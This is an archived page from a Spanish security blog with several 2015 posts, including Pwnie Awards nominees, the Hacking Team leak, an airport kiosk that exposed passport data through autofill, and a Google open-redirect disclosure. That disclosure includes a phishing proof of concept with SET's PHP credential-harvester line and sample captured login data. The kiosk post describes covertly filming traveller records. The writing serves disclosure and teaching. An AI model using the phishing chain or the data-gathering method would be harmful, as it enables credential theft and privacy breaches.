29 julio 2015

Nominados a los Pwnie Awards 2015

Un año más, los premios a los mejores FAILs en seguridad informática (a este paso habrá que hacer varias convocatorias) Pwnie Awards serán entregados durante la Black Hat USA que se celebrará en Las Vegas entre el 1 y el 6 de Agosto.


Desde ayer, ya tenemos la lista de nominados para cada una de las categorías propuestas. En negrita, he marcado mis preferencias para ser los ganadores.

Pwnie for Best Server-Side Bug

  • SAP LZC LZH Compression Multiple Vulnerabilities (CVE-2015-2278, CVE-2015-2282)
  • Clobberin' Time (CVE-2014-9293, CVE-2014-9295)
  • Magento(CVE-2015-1397)

Pwnie for Best Client-Side Bug

  • Will it BLEND? (CVE-2015-0093, CVE-2015-3052)
  • Sandworm (CVE-2014-4114)
  • It's ESET Up!
  • W3TotalFail

Pwnie for Best Privilege Escalation Bug

  • Rowhammer
  • PingPongRoot (CVE-2015-3636)
  • UEFI SMM Privilege Escalation
  • Wild TTF Overflow
  • Will it BLEND? (CVE-2015-0093, CVE-2015-3052)

Pwnie for Most Innovative Research

  • ret2dir
  • Modern Platform-Supported Rootkits
  • Threatbutt Advanced Enterprise Platform
  • Abusing Silent Mitigations
  • Imperfect Forward Secrecy: How Diffie-Hellman Fails in Practice

Pwnie for Lamest Vendor Response

  • "A Peek Under The Blue Coat"
  • Seagate NAS RCE
  • Samsung Swift Keyboard MITM RCE

Pwnie for Most Overhyped Bug

  • Shellshock (CVE-2014-6271)
  • iOS CoreText DoS (CVE-2015-1157)
  • VENOM (CVE-2015-3456)

Pwnie for Best Song

  • "Try Harder!" - Offensive Security
  • "Integer Overflow" - NYAN
  • "Clean Slate" - YTCracker
  • "Spierdalaj Kurwa" - Acid Flux, Dariush Gee

Pwnie for Most Epic FAIL

  • Oh, Please... Man! (OPM)
  • We're Not Quite Sure (Bank in Poland)
  • Peepin' on the Creepin' (Ashley Madison)
  • ManageEngine
  • Aviator (WhiteHat Security)

Lifetime Achievement Award

  • Ivan Arce
  • Gera Richarte
  • Wu Shi
  • Halvar Flake
  • Rolf Rolles

Pwnie for Epic 0wnage

  • Kaspersky Lab (Duqu 2)
  • Hacking Team
  • U.S. Office of Personnel Management
  • The World (always China)
  • Samsung Swiftkey Keyboard Bugdoor
Queda muy poco para saber los verdaderos ganadores, actualizaremos este post con los resultados, pero por el momento, podéis dejar vuestras apuestas en los comentarios. ¡Que gane el "peor"!

Leer más...

26 julio 2015

Enlaces de la SECmana - 286

Leer más...

24 julio 2015

Hackers a domicilio


Da bastante miedo los portales para alquilarte a tu propio hacker y que participen en tus proyectos. Un trabajo en el que se requiere un nivel tan alto de especialización y ética en manos de personas prácticamente desconocidas ¡Fuuu!

Pero mucho más miedo provoca buscar por la palabra hacker en los portales más famosos de contactos y anuncios.  En esta entrada, perfecta para un viernes, vamos a ver unos cuantos ejemplos.

1.- Hacking de redes sociales ECONOMICO, eso sí... Whatsapp, móviles, un clásico. El anuncio es tan lamentable que no tengo claro si soy fan o hater. Lo que realmente asusta es que se ha solicitado el teléfono 59 veces.

Persona que "vulnera" redes sociales, whatsapp y cualquier cosa con su software "hack"

2.- Informática Forense, o eso dice él, aprovechando el marketing de los forenses, aunque es más de lo mismo, redes sociales, correos electrónicos, "softare hack" a "medidda". Una pasada. Lo mejor es que a diferencia del anterior, este ya es "Profesional", lo pone bien claro en rojo.

Informática Forense, mismamente.

3.- Hacker(A) Experimentad(A). Mejor que quede claro que es una chica, que las hackers como Lisbeth Salander venden mucho más que los profesionales como el anterior. Esta también facilita exámenes, universidades

HackerA

4.- Me lo quitan de las manos OIIIGAAAA. qué lo mismo te robo un usuario de una red social que me cuelo en tu hotmail. BAAARAAAATOOOO.

Hacker 4 cacahuetes.

5.- ¿Venta de cuentas bancarias hackeadas? y ahora se pone un poco más feo. Yo por si acaso ya le he dado a "Denunciar", curioso como el futuro presidiario pone distintos precios según la nacionalidad de la cuenta. En fin, que no hace falta irse a Tor (eso de la deepweb es un cuento chino) para encontrarse estas cosas.

Venta de datos bancarios.



Leer más...

21 julio 2015

Vulnerabilidad en el aeropuerto, sacando listados de viajeros

Últimamente se habla bastante de la seguridad en aeropuertos y aviones. Charlas en eventos como HiTB, RootedCON o T2, y además los medios de comunicación prestan atención a las detenciones de hackers que han confesado vulnerar la Wifi de servicio de un avión. 

La tecnología avanza a pasos agigantados y más en los aeropuertos, pero lo hace más deprisa que su propia seguridad, pese a todas las medidas de control que nos ponen a los viajeros. Es algo muy sensible, y toda una industria lucha por parecer más segura de lo que realmente es.

Cuando vas a un aeropuerto, difícilmente puede escapar de los kioskos o terminales automáticos que ayudan a realizar tu check-in. Equipos destinados a agilizar las largas colas en periodo vacacional, y que además sirven para sustituir al personal de tierra en los aeropuertos de medio mundo.

El otro día me disponía a emplear una de esas máquinas en Croacia. Volvía de vacaciones y me veía obligado a escanear mi pasaporte, ya que estos equipos incorporan un escáner que mediante OCR transcribe los datos del viajero y los vuelca en las bases de datos de las compañías.


Hasta aquí todo bien. El problema fue cuando el lector de la máquina que estaba empleando no funcionaba correctamente, y mis datos no eran incorporados de forma automática. Me solicitaba que acudiese al mostrador debido a un error en la lectura de datos de mi pasaporte.

En vez de ir al mostrador, traté de alguna forma de incluir mis datos en los campos obligatorios, pero iluso de mi, no se mostraba ningún escritorio por pantalla. Era OCR o nada.

Sin embargo, vi que al pulsar sobre cada uno de los campos, veía información de los viajeros. ¿WTF? 

Nombre, apellidos, nacionalidad, género, fecha de nacimientos, DNI/Pasaporte y fecha de expiración. Tenía la posibilidad de visualizar miles de datos de viajeros que habían escaneado sus pasaportes, y además por orden. Los últimos en registrar sus datos, aparecían los primeros (Last In Fisrt Out).


Es curioso como las pruebas de seguridad en las aplicaciones, se centran casi exclusivamente sobre el campo “password” para evitar el autofill, sin reparar muchas veces en el resto de campos. Está claro que la empresa IER ha olvidado que los datos personales son críticos, y esto es un ejemplo de Incidente de seguridad donde los datos personales quedan completamente expuestos.


Y es que con el “autofill” a pleno rendimiento, solo necesitas un rato para extraer todos los datos de los viajeros que emplearon el terminal. Un método discreto es emplear la cámara del móvil para grabar mientras en cada campo recorres el scroll. Ya habrá tiempo en casa de pasar los datos a limpio, y tener una base de datos bien organizada. No iba a resultar problemático o sospechoso, puesto que ahora con los billetes electrónicos, muchas veces se necesita introducir la referencia de vuelo o bien el escaneo de algún código QR proporcionado por la compañía, así que es habitual que la gente tenga el teléfono móvil en la mano mientras realiza su registro. 

De acuerdo al funcionamiento de la aplicación, la única forma de entrada de datos debe de ser por OCR, es decir, manualmente tan solo puede introducirse el Booking Reference, digamos el código único de tu registro. Y es por eso que habrán tenido semejante error, tanto en las fases de diseño, desarrollo y en las pruebas de QA.

Ni que decir tiene que tras ver eso, fui directamente al mostrador de la compañía para que me hiciesen el check-in allí mismo, no quería que mis datos quedaran registrados en los terminales automáticos.

Contribución por Omar Benbouazza
@omarbv

Leer más...

20 julio 2015

Hacker Épico en comic.


Hace ya mucho tiempo que anunciamos que la editorial de Hacker Épico, 0xWord, nos informó que haría un comic basándose en la historia de nuestro héroe particular. Aquella fue una gran noticia y esperábamos ansiosos el resultado que hoy ya podemos ver.

Tanto Rodrigo como yo hemos sido meros espectadores de cómo Eve Mae le daba vida y dibujaba nuestras aventuras. 

Eve, una joven artista con mucha experiencia y fuerza, ha trabajado página a página y capítulo tras capítulo en un largo y duro viaje que por fin se puede apreciar y que personalmente pienso  ha quedado impresionante.

La adaptación, editada en A4, cuenta la misma historia dejando de lado las acciones técnicas y centrándose en la aventura.

Tal y como hicimos con el libro, publicando el prólogo de Yago, os dejamos el prefacio que hemos escrito y que acompaña esta edición en sus primeras páginas.

Prefacio: Hacker Épico se hace estético.

Hace más de dos años, cuando vimos publicado nuestro Hacker Épico, no podíamos estar más satisfechos. Concluía un largo camino que, como todo proceso creativo, había tenido sus escollos, pero que en general había resultado divertido y gratificante. La enorme acogida que tuvo el libro, así como los generosos comentarios de los primeros lectores, que pedían casi sin excepción una segunda parte, nos hizo alcanzar la cima del entusiasmo. Y justo cuando nos encontrábamos allí arriba, incrédulos de la suerte que había corrido nuestro pequeño proyecto literario, vino Chema Alonso, cual hada madrina, para cumplirnos un nuevo deseo. Un deseo que ni siquiera sospechábamos que teníamos hasta que él nos lo planteó. 

Chema había demostrado valentía al publicar un trabajo tan diferente de los libros técnicos que venía ofreciendo su editorial. Cuando nos llamó para comentarnos su idea, nunca imaginamos que esta pudiera superar a la anterior en audacia. Y así fue. Como gran amante del noveno arte, Chema pensó que la aventura de nuestro hacker Ángel Ríos podía adaptarse a las viñetas. Quería, en definitiva, editar un cómic de Hacker Épico. Tras tomarnos unos segundos para digerir la noticia, saltamos de emoción. También nosotros somos lectores de cómics, aunque estamos lejos de alcanzar el nivel del maestro Chema, y en no pocas ocasiones, mientras escribíamos una escena, la imaginábamos como una viñeta, y a nuestros personajes bien dibujados sobre ella. Ni que decir tiene que la propuesta nos pareció fantástica, en las dos acepciones de la palabra, por irreal y extraordinaria. Pero si una mezcla de novela negra y manual de hacking había funcionado, ¿por qué no iba a funcionar un cómic sobre la misma base? 

Ya que el experto era Chema, él se encargó de buscar a la persona más adecuada para llevar el proyecto a buen puerto. Nosotros sabíamos que estaba en las mejores manos. Finalmente, encontró a Eve Mae. Su obra previa la acreditaba como una excelente artista. Cualquiera que contemple sus dibujos, sea lego o avezado en la materia, no podrá decir lo contrario. Pero es después de ver acabada su visión de Hacker Épico cuando comprendimos que, efectivamente, ella había sido la mejor elección para adaptar nuestra historia.

Nosotros sabíamos que la adaptación no iba a ser un camino de rosas. Las peculiaridades de la novela, parte de ella dedicada a explicar cuestiones técnicas y procesos informáticos, dificultaban enormemente una traslación exacta. Algo, por otro lado, nunca deseable en la adaptación de una obra original, pues la historia se tiene que amoldar a cada medio de expresión. Por suerte, Eve se implicó desde el primer momento con un ímpetu arrollador. Leyó y releyó el libro, nos interrogó sobre algunos aspectos que necesitaba aclarar, interiorizó la trama y la hizo suya, trabajó con el texto hasta convertirlo en un guión que pudiera desarrollar luego en imágenes, todo ello con una dedicación y voluntad de superación admirables. Con todo ese material, que no constituía más que los cimientos y el armazón sobre los que edificar su edificio creativo, Eve comenzó a dibujar. Al admirar, pues no hay mejor verbo para definir la contemplación extasiada de algo, los primeros bocetos de nuestros personajes, que de algún modo ya estaban pintados en nuestra imaginación, asentimos con la cabeza y exclamamos al unísono: ¡Mola! Aquellos trazos en blanco y negro, con alto contraste y estética noir, eran, aunque suene cursi decirlo, la materialización gráfica de nuestros anhelos. Y asistir a todo este proceso, bien es cierto que como simples espectadores, pues el esfuerzo y el mérito son sólo de Eve, ha sido un espectáculo fascinante. 

Angel Rios visto desde su propio portátil.
Con el cómic ya terminado, Ángel Ríos ha vuelto a vivir su aventura. Una vez más, ha arrostrado graves peligros por su amada Yolanda; de nuevo, ha superado obstáculos gracias a sus conocimientos informáticos; también como antes, ha necesitado la ayuda de su amigo Marcos. Pero esta vez es diferente. Esta vez no hemos sido nosotros quienes lo hemos llevado de la mano; esta vez no hemos tenido que dirigirlo en sus decisiones ni acompañarlo allá donde estas lo llevaran. Ahora lo vemos desde arriba, como unos padres cariñosos que vigilan a su hijo desde la ventana, acompañado por Eve Mae, que ha creado a su vez esa ventana llamada viñeta para nuestro deleite. También para deleite de cualquier lector que abra las páginas de este Hacker Épico. 

Para nosotros, hacerlo ha sido una experiencia alucinante. Esperamos que también lo sea para el lector. Estamos seguros de que, haya leído la novela o se acerque a esta historia por primera vez a través de los pinceles de Eve Mae, no se sentirá decepcionado y sabrá reconocer el asombroso trabajo de una artista genial. 

Alejandro Ramos y Rodrigo Yepes

Leer más...

19 julio 2015

Enlaces de la SECmana - 285

Leer más...

17 julio 2015

EVO Banco te pide que la enseñes

EVO Banco, cuyo eslogan es 'Banca Inteligente', se ha descolgado con una campaña veraniega totalmente surrealista.

Pide a sus clientes que, empleando el hashtag  #TarjetaalasComisiones hagan fotos de sus tarjetas de crédito y las suban en Twitter, Instagram y Facebook.

Suena a chiste, parece sacado de los correos SPAM mas zafios que suelen llegar, pero no, es totalmente cierto la campaña reza tal que así:

Este verano, alza una de tus tarjetas EVO con orgullo, hazte una foto con ella en cualquier parte del mundo, compártela con el hashtag #TarjetaalasComisiones en Instagram, Facebook o Twitter, y podrás conseguir un viaje para dos personas a cualquier ciudad europea. Pero no vale cualquier foto, tiene que ser creativa, divertida y sobre todo, ¡diferente!

El premio, un viaje. Es evidente que esta campaña no ha pasado por la mesa del equipo de seguridad del Banco, ya que una de las luchas más intestinas que todo departamento de seguridad bancaria tiene, es, sin duda, que sus clientes sean precavidos a la hora de ofrecer sus datos bancarios.

Por tanto, pedir que se hagan fotos de las tarjetas y esperar que los clientes tengan el buen juicio de 'editar' las fotos para que no se vean los números o que no salgan los datos, es una temeridad.

De hecho, ya puestos, la campaña es totalmente falseable, simplemente puedes imprimir



Y hacerte la foto !
Leer más...

14 julio 2015

Retos de ciberseguridad en Cybercamp 2015

Este es el segundo año en el que INCIBE organiza retos de seguridad para potenciar y descubrir nuevos talentos en esta materia. Están organizados en distintas modalidades, como son retos individuales, en grupo y las CyberOlympics.

Los retos individuales son clásicas pruebas de capturar la bandera en varias temáticas:

  • Ingeniería inversa 
  • Exploiting 
  • Análisis Forense 
  • Vulnerabilidades web
  • Criptografía
En todas ellas habrá pruebas con varios niveles de dificultad, para que aquellos que estén iniciándose puedan participar y animarse a jugar.

Desde una perspectiva didáctica, esta gamificación es perfecta para los interesados en mejorar sus conocimientos técnicos. Las lecciones que aprende uno mismo analizando problemas no se olvidan y es una manera muy eficaz de practicar y enfrentarse a fallos de seguridad que se encontrarán en el mundo real.

Las pruebas se harán en varias partes, la primera dura 9 días, es online y comienza el 17 de julio. Posteriormente se hará una segunda parte después del verano y la ronda final, con los 40 mejores participantes se hará presencial el sábado 28 de noviembre.

El año pasado hubo mucha participación y los retos fueron muy interesantes. Este año tenéis una nueva oportunidad de recibir un curso gratuito de hacking que vosotros mismos os impartiereis. No lo dejéis escapar.


Leer más...

13 julio 2015

Próxima parada: DragonjarCON 2015 en Colombia


Hace ya tres años que tuve la oportunidad de conocer la acogedora ciudad de Manizales (Colombia). En esa época, se trataba del ACK Security Conference invitado por Jhon César Arango y Jaime Andrés Restrepo. Quien me iba a decir a mí que sería el primero de tantos congresos de seguridad informática al que asistiría como ponente a partir de dicha fecha (de hecho mientras escribo estas líneas me encuentro en Guayaquil - Ecuador, donde daré una charla en el evento eCommerce Day que organiza la Cámara de Comercio de Guayaquil). 

A partir de ese evento, he estado en Colombia otras dos veces más como speaker en eventos, uno en el Security CSI en Pereira, y otra en la Asociación Bancaria de Colombia en Bogotá (ambos en 2013). 

Pues bien, este año, durante la semana del 14 al 18 de Septiembre de 2015, se celebrará la segunda edición del evento DragonjarCON, organizado por mi buen amigo Jaime Andrés Restrepo

El evento tiene dos días de duración de charlas, el 17 y 18 de Septiembre, en la que los asistentes podréis disfrutar de lo que os contarán diversos profesionales de la seguridad de diferentes países. 


Por mi parte, tendré el honor de abrir el evento con la charla “Cooking an APT in the Paranoid Way”, en el que relataré la experiencia vivida el año pasado a la hora de ver cómo de complicado sería realizar un APT a diferentes organismos públicos, con una mentalidad muy paranoica. 

Por otra parte, en los tres días previos al evento, tendrán lugar diversos talleres. En mi caso, el lunes 14 y martes 15 impartiré un curso presencial de “Hardening de infraestructuras y servidores GNU/Linux” que en la web han titulado como Seguridad en Entornos Corporativos. El temario de lo que impartiré será bastante parecido a los módulos I y III del curso online de "Hardening de Sistemas Windows, Linux e Infraestructuras" que terminamos esta semana en Securízame.



Como siempre será una excelente oportunidad para aquellos que podáis asistir de poneros al día en diferentes materias relacionadas con seguridad, en uno de los mejores eventos del ramo realizados en Colombia. 

Para mí, un enorme placer compartir cartel y experiencias con buenos amigos del hemisferio sur, así como disfrutar de la amabilidad, buena gente y excelente café de Colombia.


Nos vemos en el DragonjarCON en Septiembre!
Leer más...

12 julio 2015

Enlaces de la SECmana - 284

Leer más...

11 julio 2015

Google Open Redirect + SET

Buenas a todos!

 Hoy me gustaría enseñaros un fallo (que ya adelanto que google no lo ve como tal ya que dice que esta “Out of Scope”) que a mi parecer puede ser usado para fines maliciosos si se utiliza de manera malintencionada.

 En concreto el fallo es un Open Redirect. Este fallo como muchos sabréis esta recogido en la OWASP e incluso fue un fallo recogido en este proyecto dentro del TOP 10 en el 2013.

 Bueno... vamos a ello! Si vamos a https://myaccount.google.com y miramos el source de la página veremos la siguiente redirección:




Dicha redirección es interesante ya que según parece una vez finalizado el formulario seremos redirigidos de nuevo a http://myaccount.google.com.

Intentamos primero modificar el parametro continue con “http://www.example.com”. Esto nos mostrará un error 404 y nos dirá que la página no existe:


Es muy pronto para rendirnos aún... según podemos ver la redirección se hace, pero seguramente sea únicamente a dominios de google... para poder aprovechar esto vamos a usar el servicio que nos permite acortar URLs que nos permite google: http://goo.gl

Una vez creada la URL vamos a intentar utilizar tal que así:

https://security.google.com/settings/security/secureaccount?continue=http://goo.gl/SAQ0Gk

¡Ahora sí! Una vez terminado el formulario somos redirigidos a la página que hayamos puesto en http://goo.gl

Como podéis ver, realizando el ataque de esta manera hemos podido redirigir a una página externa usando un servicio de google.

Este escenario podría ser perfecto para una campaña de phishing donde por ejemplo un atacante se hiciera pasar por el servicio técnico de google pidiendonos que verifiquemos la seguridad de la cuenta para finalmente acabar en una página de phishing con el fin de robarnos los credenciales o ser redirigido a un exploit kit y comprometer nuestra máquina.

Para ver este posible escenario vamos a realizar una prueba de concepto. Par ello usaremos:

[*] Víctima
  • Windows

[*] Atacante
  • Linux
  • Set Toolkit
  • Dominio Fraudulento

Para poder realizar esta poc vamos a usar SET y clonar la página de gmail.com. Para ello nos valdremos del ataque “Credential Harvester Attack Method” que nos permitirá clonar dicha página y una vez la víctima inserte su usuario/contraseña será redirigido a la página original.

¿Cómo realiza esto SET? Pues es tan fácil como la siguiente linea de código que contiene post.php:


<?php $file = 'harvester_2015-06-13 16:16:34.695876.txt';file_put_contents($file, print_r($_POST, true), FILE_APPEND);?><meta http-equiv="refresh" content="0; url=https://accounts.google.com" />

Como podéis observar hace un put de los parámetros POST introducidos por el usuario dentro de un fichero que se genera el mismo y posteriormente hace un refresh de la página y redirige a “https://accounts.google.com".

En un entorno real, este dominio debería estar registrado y controlado por el atacante pero para nuestra poc he modificado el fichero hosts y he puesto el dominio “joogle.com” (podéis usar el que más os guste) que redirigirá dichas peticiones a la máquina del atacante.

Un vez realizado todo esto solo falta enviar un email a la víctima o cualquier otra vía de ingeniería social y esperar ver si finalmente la víctima ingresa sus datos en nuestra página de phishing.

Sí todo va bien veremos en el fichero llamado harvester_* lo siguiente:
Array
(
[GALX] => aePsgdFkA-A
[continue] => https://accounts.google.com/ManageAccount
[followup] => https://accounts.google.com/ManageAccount
[_utf8] => ☃
[bgresponse] => !YmFCjHSy8J4p7k9EfsdhbaflTtoPAAQeCP83CgBlXtGQrSD2cA002GKnfiHDe42cdD6z91d8rPg2oQRPJHJW3IJ2gdb5VjT0sCIpNWdMAcu9rUwnc3rKcKvB5-OFAtZSfy19yJ5zXCzP67yOLOeMrb3uDXnzBQVIkBAzt471DHB5QSpcqAA7xpQv4Z2HRIj12JJdLzQ
[pstMsg] => 1
[dnConn] =>
[checkConnection] =>
[checkedDomains] => youtube
[Email] => user@gmail.com
[Passwd] => passw0rd
[signIn] => Sign in
[PersistentCookie] => yes
[rmShown] => 1

Y de esta manera, usando un dominio legítimo de google y su servicio goo.gl podemos llegar a ser víctimas de un robo de credenciales que a mi parecer se podría evitar restringiendo goo.gl al igual que se han restringido todos aquellos dominios no pertenecientes a google.

Vosotros que opináis, ¿Es un fallo? ¿No lo es? … se aceptan críticas :)

 Saludos!

Artículo cortestía de Sergio Galán @NaxoneZ
Leer más...

08 julio 2015

Congela tu web con SnapWeb y ¡disfruta del fin de semana!


Desde que la mayoría de las empresas piensan en un CMS a la hora de decidir cómo hacer su flamante nueva Web, debo reconocer que de forma casi directamente proporcional han aumentado mis dolores de cabeza: que si un módulo no actualizado había permitido “colar” un shell-remoto, que si habían modificado todos los .js del site, que si Google marca mi sitio como que contiene software malicioso, etc.

Estos nuevos “desafíos” hicieron que recordara una herramienta con la que tropecé hace ya algunos años y que me pareció genial. Dicha herramienta (Deep Freeze) permitía “congelar” todo el disco de tal forma que, cualquier cambio realizado en el equipo (instalación de software, infección de virus,  descargas, etc.), era eliminado automágicamente al reiniciar.  Con este antecedente, pensé en hacer algo parecido. Un sistema que fuera capaz de impedir cualquier cambio en cualquier archivo de mi Web, incluso impedir que se pudiera añadir/eliminar cualquier nuevo fichero/directorio, es decir, una especie de modo "Sólo lectura" para la Web que me permitiera pasar un fin de semana tranquilo y sin llamadas.

Una vez tenía clara la idea feliz, y el nombre: SnapWeb, pensé en realizar una copia del directorio web y, a través de una tarea cron, comprobar si se había realizado cualquier cambio y restaurarlo con la copia. Si bien este sistema funcionaba de forma correcta, tenía dos problemas fundamentales: 
  1. ¿Cada cuánto tiempo repito la tarea?
  2. El hecho de tener que comprobar TODO el sitio web cada vez; esto es un gran hándicap para los sites hechos con un CMS donde hay múltiples archivos y directorios. 
Con estas debilidades encontradas, recordé un proyecto que vi, allá por el 2010, que permitía analizar ficheros en tiempo real con clamAV + Inotify (También en SbD se han publicado varios post acerca de este asunto: Post 1 y Post 2). En este caso, la API inotify (disponible a partir de linux 2.6.13),  permitía iniciar el antivirus cuando se producía cualquier cambio en el sistema de archivos. 

Puesto que tenía claro que mi sistema iba a estar programado en BASH, busqué en alternativas que implementaran dicha API y que lanzaran mi script cuando se produjera algún evento sobre el directorio del site. 

De las distintas opciones que vi seleccioné incron. Éste programa es una mezcla de cron (programación de tareas) + inotify (detección de eventos en el sistema de archivos), lo que permite que se ejecuten tareas cada vez que se produce un evento sobre el directorio indicado. Una de los hándicaps que tiene incron es la NO recursividad, es decir, que en el fichero de configuración /etc/incron.conf debe contener cada uno de los directorios del site, además, cualquier nuevo directorio que se cree dentro del site debe ser dado de alta en el fichero de configuración.

Para solucionar el problema de la NO recursividad de incron, tenía claro que mi proyecto debía estar divido en dos scripts:
  1. snapweb.sh --> Encargado de, dado un directorio pasado como parámetro, dar de alta en el fichero de configuración de incron todos los subdirectorios (Así solucioné los problemas de recursividad). 
  2. jack.sh --> Será lanzado por incron cuando se produzca un evento. Dicho script recibirá el nombre del fichero afectado, su ruta y el evento en cuestión.
Pensé en hacer una especie de snapshot del directorio y monitorizar cualquier cambio posterior, denegando dichos cambios; después pensé que denegar siempre sería un poco radical, que lo ideal sería poder configurar varios tipos de bloqueo. Finalmente me decanté por esta segunda opción, con lo que en un fichero de configuración /etc/snapweb/snapweb.conf podremos decidir el tipo de bloqueo, existiendo un valor global que habilita el modo "freeze" del site: site_lock=1.

Está claro que esta solución no resuelve todas la vulnerabilidades que pueden explotarse en un CMS, pero sí permite cierta inmunidad a determinados exploits cuyo “modus operandi” está basado en la modificación de archivos (CryptoPHP), en la subida de Shells remotos o, incluso, en el uso de credenciales FTP robadas para distribuir malware. 

Actualmente una vez implementado correctamente ese “modo candado”, aquí os dejo un link a un vídeo con una prueba de concepto.



Estoy realizando varias mejoras:
  • Nuevos modos de "bloqueo":
    • Modo automático: Analiza en tiempo real cualquier cambio, categoriza dichos cambios y decide qué hacer.
      • Aceptar cambios y guardar réplica.
      • Denegar cambios y volver a réplica -> En este caso, para evitar los problemas que pudiera provocar un falso positivo, guardo copia del archivo en “cuarentena”
    • Modo semiautomático:
      • Si no se detectan indicios de malware, se acepta cambio, se actualiza réplica y se envía correo de notificación.
      • Si se detecta malware, por encima de un umbral, se rechazan los cambios y se notifica al administrador.
      • Si sólo hay indicios de malware pero no certeza, se envía correo al administrador para que éste decida qué hacer con dicha incidencia.
    • Modo candado: No permite ningún cambio en el site, descartando de forma automática cualquier cambio en el site (Nuevas carpetas/archivos, cambios en ficheros existentes, etc.)
  • Configuración del modo por site: Ahora los modos de bloqueo pueden indicarse por site, en vez de un único tipo de bloqueo para todos los sites albergados.
  • Exclusión de directorios a monitorizar.
  • Activación de modo "candado" por horario.
  • Administración y monitorización de snapweb vía App.
Espero acabar pronto con esta primera parte del proyecto, publicarlo en github y que esté disponible para todos aquellos que lo consideréis interesante.

Además aprovecho para indicaros que si tenéis cualquier duda, sugerencia o crítica,  estaré encantando de recibirlas... aunque con las críticas habilitaré el modo bloqueo  :P.

[+] Ruta GitHub para su descarga y prueba: https://github.com/wllop/snapweb


Artículo cortesía de Walter Llop -  wllop@esat.es - @wllop
Leer más...

06 julio 2015

El compromiso de Hacking Team: el drama está servido

Aunque puede sonar repetitivo frente a lo ocurrido con Sony este pasado Diciembre, el compromiso de información de la empresa Hacking Team puede ser uno de los más importantes hasta la fecha


Si bien la relevancia de la información contenida en el dump de Sony podría alimentar nuestras ansias de cotilleos y próximos estrenos de cine, obtener información sensible de HT nos ha dado contraseñas de trabajadores, detalles de ventas, estrategias a clientes, código fuente de software de uso interno, correos electrónicos, y un larguísimo etc que aún hoy en día (bajo el hashtag #HackingTeam) está siendo analizado por la amplia mayoría de la comunidad.

Estamos ante una empresa, que no llega a 50 empleados, controvertida por el modelo de negocio de su última etapa, ya que en los últimos años ha sido software factory de mecanismos de infección de dispositivos (sistemas de usuario y móviles) para su compromiso de forma remota. Si bien este tipo de software es muy potente, sólo se comercializaba, supuestamente, para organismos gubernamentales y fuerzas del orden. En años anteriores, la empresa era una consultora más que realizaba tareas de auditoría y hacking ético.

Durante la noche de ayer domingo, comenzaba el buzz en Internet, en el que aparecían las primeras informaciones acerca de un supuesto leak de información de más de 400GB de información de dicha empresa. Pero la información llegaba con cuentagotas, unos pocos tenían acceso a la supuesta copia completa de información, y por el momento nos divertíamos con las filtraciones realizadas desde la propia cuenta de Twitter del Hacking Team que había sido comprometida. 

Uno de los tweets publicados desde la cuenta original de Hacking Team tras ser comprometida

Además, en un paste de Pastebin, aparecía un listado de los estados de renovación del software vendido a sus clientes, entre los que destacaban la Policia Nacional y CNI por parte de España.

Clientes europeos de Hacking Team
Los torrents con la información recopilada no avanzaban, además empezaban a surgir rumores de que podrían contener regalo, pero durante la mañana, Mustafa Al-Bassam, ex-miembro de Lulzsec habilitó una copia en su servidor web con todo el contenido robado de Hacking Team disponible para su navegación.

Es el tema candente de la mañana, y estamos seguros que también durante esta semana, seguiremos recibiendo información acerca de todo lo filtrado que llenarán posts de la mayoría de blogs relacionados con seguridad informática. Como comentamos anteriormente, conviene seguir el hashtag #HackingTeam para estar al tanto de todo lo que acontece.

Por el momento, desde Hacking Team no se han pronunciado acerca de lo ocurrido.
Leer más...

05 julio 2015

Enlaces de la SECmana - 283


Leer más...

01 julio 2015

Análisis dinámico de apps Android por hooking

Cuando nos enfrentamos a un proceso de reversing sobre una app Android una de las dificultades que podemos encontrar al hacer un análisis estático es un código complejo de trazar, ya sea por intención propia del desarrollador al escribirlo, por el uso de algún sistema de ofuscación, o incluso porque el propio proceso de decompilación ha generado un código poco legible.



Para lograr encajar las piezas de estos puzzles difíciles de resolver nos podemos apoyar en un análisis dinámico para por ejemplo identificar qué ocurre en las comunicaciones, qué cambios se producen en el sistema de ficheros, qué eventos genera la app, a cuáles responde, etc. Pero seguiremos teniendo un código muy oscuro que en algunos casos requerirá de un gran esfuerzo para determinar por ejemplo si un fragmento de código malicioso se llega a ejecutar.

Hace tiempo comentaba en un artículo cómo podíamos alterar en tiempo de ejecución el código de una app Android haciendo uso de la librería para hooking Cydia Substrate para por ejemplo desactivar el certificate pinning en Android.
Vista la capacidad de la librería, ¿porque no utilizarla para reflejar métodos y parámetros recibidos en una app que queramos analizar?, de este modo podríamos construir un árbol con el flujo de ejecución de la app según interactuamos con ella (o mientras ella misma hace sus procesos en background), identificando qué métodos llamaron a qué otros métodos además de reflejando qué valores fueron pasados como parámetros.

Con la idea clara de representar el flujo de ejecución y parámetros recibidos, decidí dar un paso más y hacerlo todo más sencillo, ¿por qué no hacer una herramienta que automatice al máximo el proceso?, podría conectarse al dispositivo, listar las apps, enumerar todas las clases que participan en una app seleccionada y permitir al analista seleccionar cuáles quiere observar...

android-hooker

Para poder utilizar la herramienta necesitaremos el siguiente entorno:
  • Un dispositivo Android (físico o VM) rooteado, con Cydia Substrate instalado
  • En el equipo desde el que vamos a realizar el análisis, será necesario tener Java (JRE para ejecutar o JDK si queremos modificar el proyecto) y las SDK tools de Android (con las Build Tools y una versión de la API de Android compatible con la instalada en el dispositivo)
La herramienta funciona del siguiente modo:
  • Descargamos la app del repositorio de Github con el siguiente enlace (MD5: bbf563831e3d6be77c773c15f8a978e1 ) o clonamos el repositorio y lo compilamos con "mvn clean assembly:assembly" (nos generará el JAR a ejecutar en el directorio target)
  • Iniciamos la aplicación con "java -jar android-hooker-1.0-jar-with-dependencies.jar". La primera vez que iniciamos la app tendremos que configurar la ruta al directorio donde tengamos el Android SDK, seleccionar la versión de las build tools que queramos utilizar y la versión del SDK que se ajuste al dispositivo que vamos a analizar:

  • Lo siguiente que hacemos es introducir la IP del dispositivo a analizar (o dejarlo vacío si nos vamos a conectar a un dispositivo físico conectado en modo depuración) y seleccionamos la opción Connect, nos listará las apps instaladas en el dispositivo:

  • Seleccionamos la app que queremos analizar y seguimos con el botón Extract classes from APK, descargará la app del dispositivo y podremos seleccionar las clases que queremos hookear. Ya casi hemos terminado, seleccionamos las clases que nos interesen y le damos a Hook classes:


En este punto es donde sucede la magia, dentro de android-hooker hay incluida una app Android que será compilada e instalada en el dispositivo. La app Android está preparada con un plugin Substrate diseñado para recibir un listado de clases sobre los que aplicará reflection para hookear todos sus métodos y crear así una traza dejando un rastro en el logcat que posteriormente android-hooker utilizará para crear el árbol de ejecución.

  • Cuando se compile e instale la app Android veremos la notificación de Substrate en el dispositivo:
